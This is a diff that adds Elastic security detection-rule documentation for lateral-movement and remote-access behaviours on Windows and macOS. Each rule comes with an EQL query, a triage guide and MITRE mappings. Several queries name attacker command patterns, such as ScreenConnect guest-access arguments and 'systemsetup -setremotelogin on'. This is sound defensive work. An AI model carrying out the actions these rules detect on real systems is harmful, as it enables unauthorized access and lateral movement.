Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Windows Security Event Logs +* Data Source: Elastic Endgame +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Management Access Launch After MSI Install* + + +This rule fires when the same host runs msiexec with an install argument (/i) and within one minute starts a pre-configured RMM software. + + +*Possible investigation steps* + + +- Confirm the sequence on the host: first event should be msiexec.exe with process.args containing "/i"; second should be a remote management software. +- Review the source of the MSI file using file events. +- Check whether use of RMM software is approved for this host. +- Check network events to validate which remote host the RMM software connects to. +- Correlate with other alerts for the same host (initial access, persistence, C2). + + +*False positive analysis* + + +- Legitimate IT/MSP deployment of RMM for support. + + +*Response and remediation* + + +- If unauthorized RMM use or abuse is confirmed: isolate the host, terminate the ScreenConnect client, remove or block the installation, and investigate how the MSI was delivered and who operates the relay. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "msiexec.exe" and + process.args : ("/i*", "-i*") and process.parent.name : ("explorer.exe", "sihost.exe", "powershell.exe", "cmd.exe")] + [process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "ScreenConnect.ClientService.exe" and process.command_line : "*?e=Access&y=Guest&h*&k=*") or + (process.name : "Syncro.Installer.exe" and process.args : "--config-json" and process.args : "--key") or + process.name : ("tvnserver.exe", "winvnc.exe") + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation-via-rpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation-via-rpc.asciidoc new file mode 100644 index 0000000000..1a9f9688cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation-via-rpc.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-remote-scheduled-task-creation-via-rpc]] +=== Remote Scheduled Task Creation via RPC + +Identifies scheduled task creation from a remote source. This could be indicative of adversary lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Remote Scheduled Task Creation via RPC* + + +https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler[Scheduled tasks] are a great mechanism for persistence and program execution. These features can be used remotely for a variety of legitimate reasons, but at the same time used by malware and adversaries. When investigating scheduled tasks that were set up remotely, one of the first steps should be to determine the original intent behind the configuration and to verify if the activity is tied to benign behavior such as software installation or any kind of network administrator work. One objective for these alerts is to understand the configured action within the scheduled task. This is captured within the registry event data for this rule and can be base64 decoded to view the value. + + +*Possible investigation steps* + + +- Review the TaskContent value to investigate the task configured action. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Further examination should include review of host-based artifacts and network logs from around when the scheduled task was created, on both the source and target machines. + + +*False positive analysis* + + +- There is a high possibility of benign activity tied to the creation of remote scheduled tasks as it is a general feature within Windows and used for legitimate purposes for a wide range of activity. Any kind of context should be found to further understand the source of the activity and determine the intent based on the scheduled task's contents. + + +*Related rules* + + +- Service Command Lateral Movement - d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc +- Remotely Started Services via RPC - aa9a274d-6b53-424d-ac5e-cb8ca4251650 +- Remote Scheduled Task Creation - 954ee7c8-5437-49ae-b2d6-2960883898e9 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Remove scheduled task and any other related artifacts. +- Review privileged account management and user account management settings. Consider implementing group policy object (GPO) policies to further restrict activity, or configuring settings that only allow administrators to create remote scheduled tasks. + + +==== Setup + + + +*Setup* + + +Audit Other Object Access Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-other-object-access-events + + +==== Rule query + + +[source, js] +---------------------------------- +iam where host.os.type == "windows" and event.action == "scheduled-task-created" and + winlog.event_data.RpcCallClientLocality : "0" and winlog.event_data.ClientProcessId : "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation.asciidoc new file mode 100644 index 0000000000..7dcdfe4c4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-scheduled-task-creation.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-remote-scheduled-task-creation]] +=== Remote Scheduled Task Creation + +Identifies remote scheduled task creations on a target host. This could be indicative of adversary lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remote Scheduled Task Creation* + + +https://docs.microsoft.com/en-us/windows/win32/taskschd/about-the-task-scheduler[Scheduled tasks] are a great mechanism for persistence and program execution. These features can be used remotely for a variety of legitimate reasons, but at the same time used by malware and adversaries. When investigating scheduled tasks that were set up remotely, one of the first steps should be to determine the original intent behind the configuration and to verify if the activity is tied to benign behavior such as software installation or any kind of network administrator work. One objective for these alerts is to understand the configured action within the scheduled task. This is captured within the registry event data for this rule and can be base64 decoded to view the value. + + +*Possible investigation steps* + + +- Review the base64 encoded tasks actions registry value to investigate the task configured action. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Further examination should include review of host-based artifacts and network logs from around when the scheduled task was created, on both the source and target machines. + + +*False positive analysis* + + +- There is a high possibility of benign activity tied to the creation of remote scheduled tasks as it is a general feature within Windows and used for legitimate purposes for a wide range of activity. Any kind of context should be found to further understand the source of the activity and determine the intent based on the scheduled task's contents. + + +*Related rules* + + +- Service Command Lateral Movement - d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc +- Remotely Started Services via RPC - aa9a274d-6b53-424d-ac5e-cb8ca4251650 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Remove scheduled task and any other related artifacts. +- Review privileged account management and user account management settings. Consider implementing group policy object (GPO) policies to further restrict activity, or configuring settings that only allow administrators to create remote scheduled tasks. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +/* Task Scheduler service incoming connection followed by TaskCache registry modification */ + +sequence by host.id, process.entity_id with maxspan = 1m + [network where host.os.type == "windows" and process.name : "svchost.exe" and + network.direction : ("incoming", "ingress") and source.port >= 49152 and destination.port >= 49152 and + source.ip != "127.0.0.1" and source.ip != "::1" and source.ip != null + ] + [registry where host.os.type == "windows" and event.type == "change" and registry.value : "Actions" and + registry.path : "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\*\\Actions"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-ssh-login-enabled-via-systemsetup-command.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-ssh-login-enabled-via-systemsetup-command.asciidoc new file mode 100644 index 0000000000..219cf897d4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-ssh-login-enabled-via-systemsetup-command.asciidoc @@ -0,0 +1,182 @@ +[[prebuilt-rule-8-19-34-remote-ssh-login-enabled-via-systemsetup-command]] +=== Remote SSH Login Enabled via systemsetup Command + +Detects use of the systemsetup command to enable remote SSH Login. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf +* https://ss64.com/osx/systemsetup.html +* https://support.apple.com/guide/remote-desktop/about-systemsetup-apd95406b8d/mac + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic +* Massimo Bertocchi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote SSH Login Enabled via systemsetup Command* + + +The `systemsetup` command in macOS is a utility that allows administrators to configure system settings, including enabling remote SSH login, which facilitates remote management and access. Adversaries may exploit this to gain unauthorized access and move laterally within a network. The detection rule identifies suspicious use of `systemsetup` to enable SSH, excluding legitimate administrative tools, by monitoring process execution patterns and arguments. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of the systemsetup command with the arguments "-setremotelogin" and "on" to ensure the alert is not a false positive. +- Check the parent process of the systemsetup command to identify if it was executed by a known administrative tool or script, excluding /usr/local/jamf/bin/jamf as per the rule. +- Investigate the user account associated with the process execution to determine if it is a legitimate administrator or a potentially compromised account. +- Examine recent login events and SSH access logs on the host to identify any unauthorized access attempts or successful logins following the enabling of remote SSH login. +- Correlate this event with other security alerts or logs from the same host or network segment to identify potential lateral movement or further malicious activity. + + +*False positive analysis* + + +- Legitimate administrative tools like Jamf may trigger this rule when enabling SSH for authorized management purposes. To handle this, ensure that the process parent executable path for Jamf is correctly excluded in the detection rule. +- Automated scripts used for system configuration and maintenance might enable SSH as part of their routine operations. Review these scripts and, if verified as safe, add their parent process paths to the exclusion list. +- IT support activities that require temporary SSH access for troubleshooting can also cause false positives. Document these activities and consider scheduling them during known maintenance windows to reduce alerts. +- Security software or management tools that periodically check or modify system settings could inadvertently trigger this rule. Identify these tools and exclude their specific process paths if they are confirmed to be non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious or unauthorized SSH sessions that are currently active on the affected system. +- Review and revoke any unauthorized SSH keys or credentials that may have been added to the system. +- Conduct a thorough examination of the system logs to identify any additional unauthorized activities or changes made by the adversary. +- Restore the system to a known good state from a backup taken before the unauthorized SSH access was enabled, if possible. +- Implement network segmentation to limit SSH access to only trusted administrative systems and users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and +( + ( + process.name == "systemsetup" and + process.args like~ "-setremotelogin" and + process.args like~ "on" + ) or + ( + process.name == "launchctl" and + process.args in ("load", "bootstrap") and + ( + process.command_line like~ "*/System/Library/LaunchDaemons/ssh.plist*" or + process.command_line like~ "*com.openssh.sshd*" + ) + ) +) and +process.parent.executable != null and +not process.parent.executable like ("/usr/local/jamf/bin/jamf", "/usr/libexec/xpcproxy", "/usr/bin/sudo") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-windows-service-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-windows-service-installed.asciidoc new file mode 100644 index 0000000000..56a28956fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-windows-service-installed.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-remote-windows-service-installed]] +=== Remote Windows Service Installed + +Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators." + +*Rule type*: eql + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Persistence +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote Windows Service Installed* + + +Windows services are crucial for running background processes. Adversaries exploit this by installing services remotely to maintain persistence or move laterally within a network. The detection rule identifies suspicious service installations following a network logon, excluding known legitimate services, to flag potential unauthorized activities. This helps in identifying and mitigating threats early. + + +*Possible investigation steps* + + +- Review the source IP address from the authentication event to determine if it is from a known or trusted network segment. Investigate any unfamiliar or suspicious IP addresses. +- Check the winlog.logon.id to correlate the logon session with the service installation event, ensuring they are part of the same session. +- Investigate the user account associated with the logon session to determine if the activity aligns with their typical behavior or role within the organization. +- Examine the service file path from the service-installed event to identify if it is a known or legitimate application. Pay special attention to any paths not excluded in the query. +- Look into the history of the computer where the service was installed (winlog.computer_name) for any previous suspicious activities or alerts. +- Assess the timing and frequency of similar events to determine if this is an isolated incident or part of a broader pattern of suspicious behavior. + + +*False positive analysis* + + +- Administrative activities can trigger false positives when administrators frequently install or update services remotely. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff. +- Legitimate software installations or updates may appear as suspicious service installations. Maintain an updated list of authorized software paths and exclude these from the detection rule. +- Automated deployment tools like PDQ Deploy or Veeam Backup can cause false positives. Identify and exclude the service paths associated with these tools to reduce noise. +- Scheduled tasks that install or update services as part of routine maintenance can be mistaken for threats. Document and exclude these tasks from the rule to prevent unnecessary alerts. +- Internal security tools that perform regular checks or updates may also trigger alerts. Ensure these tools are recognized and their service paths are excluded from the detection criteria. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools. +- Terminate any unauthorized services identified by the alert to stop any malicious processes from running. Use task management tools or command-line utilities to stop and disable these services. +- Conduct a thorough review of recent logon events and service installations on the affected system to identify any additional unauthorized activities or compromised accounts. +- Change passwords for any accounts that were used in the unauthorized service installation, especially if they have administrative privileges, to prevent further unauthorized access. +- Restore the affected system from a known good backup if any malicious changes or persistence mechanisms are detected that cannot be easily remediated. +- Implement network monitoring and alerting for similar suspicious activities, such as unexpected service installations or network logons, to enhance detection and response capabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised. + +==== Setup + + + +*Setup* + + +The following Windows audit policies must be enabled to generate the events used by this rule: +- https://ela.st/audit-logon[Audit Logon] +- https://ela.st/audit-security-system-extension[Audit Security System Extension] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by winlog.logon.id, winlog.computer_name with maxspan=1m +[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and + event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"] +[iam where host.os.type == "windows" and event.action == "service-installed" and + not winlog.event_data.SubjectLogonId : "0x3e7" and + not winlog.event_data.ServiceFileName : + ("?:\\Windows\\ADCR_Agent\\adcrsvc.exe", + "?:\\Windows\\System32\\VSSVC.exe", + "?:\\Windows\\servicing\\TrustedInstaller.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\PSEXESVC.EXE", + "?:\\Windows\\System32\\sppsvc.exe", + "?:\\Windows\\System32\\wbem\\WmiApSrv.exe", + "?:\\WINDOWS\\RemoteAuditService.exe", + "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe", + "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe", + "?:\\Windows\\CAInvokerService.exe", + "?:\\Windows\\System32\\upfc.exe", + "?:\\Windows\\AdminArsenal\\PDQ*.exe", + "?:\\Windows\\System32\\vds.exe", + "?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe", + "?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe", + "?:\\Windows\\System32\\certsrv.exe", + "?:\\Windows\\eset-remote-install-service.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe", + "?:\\Windows\\System32\\taskhostex.exe")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-xsl-script-execution-via-com.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-xsl-script-execution-via-com.asciidoc new file mode 100644 index 0000000000..b93f81b569 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remote-xsl-script-execution-via-com.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-remote-xsl-script-execution-via-com]] +=== Remote XSL Script Execution via COM + +Identifies the execution of a hosted XSL script using the Microsoft.XMLDOM COM interface via Microsoft Office processes. This behavior may indicate adversarial activity to execute malicious JScript or VBScript on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.library-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Remote XSL Script Execution via COM* + + +The Microsoft.XMLDOM COM interface allows applications to parse and transform XML documents using XSL scripts. Adversaries exploit this by embedding malicious scripts in Office documents, triggering execution via Office processes like Word or Excel. The detection rule identifies suspicious activity by monitoring for the loading of specific DLLs and the execution of unexpected child processes, indicating potential script execution attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific Office process (e.g., winword.exe, excel.exe) that triggered the alert and note the process entity ID for further investigation. +- Check the process tree to identify any unexpected child processes spawned by the Office application, focusing on those not matching typical system executables like WerFault.exe or conhost.exe. +- Investigate the loaded DLLs, specifically msxml3.dll, to confirm its legitimate use and check for any anomalies or unusual patterns in its loading sequence. +- Analyze the parent and child process relationships to determine if the execution flow aligns with typical user activity or if it suggests malicious behavior. +- Gather additional context by reviewing recent user activity and document interactions to identify any potential phishing attempts or suspicious document handling that could have led to the alert. +- Correlate the findings with other security events or alerts in the environment to assess if this activity is part of a broader attack pattern or isolated incident. + + +*False positive analysis* + + +- Legitimate use of Microsoft Office applications for XML processing can trigger the rule. Users should identify and whitelist known applications or scripts that regularly perform XML transformations using the Microsoft.XMLDOM COM interface. +- Automated document processing systems that utilize Office applications to handle XML data might cause false positives. Exclude these systems by specifying their process names or executable paths in the detection rule. +- Software updates or installations that involve Office applications may load the msxml3.dll and start child processes. Temporarily disable the rule during scheduled maintenance or update windows to prevent false alerts. +- Custom Office add-ins or macros that interact with XML files could be misidentified as threats. Review and approve these add-ins, then adjust the rule to exclude their specific behaviors. +- Regular business processes that involve document conversion or data extraction using Office tools might be flagged. Document these processes and create exceptions based on their unique characteristics, such as specific file paths or process names. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the malicious script execution. +- Terminate any suspicious processes identified as child processes of Office applications, such as winword.exe or excel.exe, that are not part of the standard executable paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious scripts or files. +- Review and restore any altered or deleted files from secure backups to ensure data integrity and system functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement application whitelisting to restrict the execution of unauthorized scripts and executables, particularly those not located in standard directories. +- Enhance monitoring and alerting for similar activities by ensuring that the detection rule is actively deployed and that alerts are configured to notify the appropriate personnel promptly. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [library where host.os.type == "windows" and dll.name : "msxml3.dll" and + process.name : ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe")] by process.entity_id + [process where host.os.type == "windows" and event.action == "start" and + process.parent.name : ("winword.exe", "excel.exe", "powerpnt.exe", "mspub.exe") and + not process.executable : + ("?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWoW64\\WerFault.exe", + "?:\\windows\\splwow64.exe", + "?:\\Windows\\System32\\conhost.exe", + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*exe")] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ 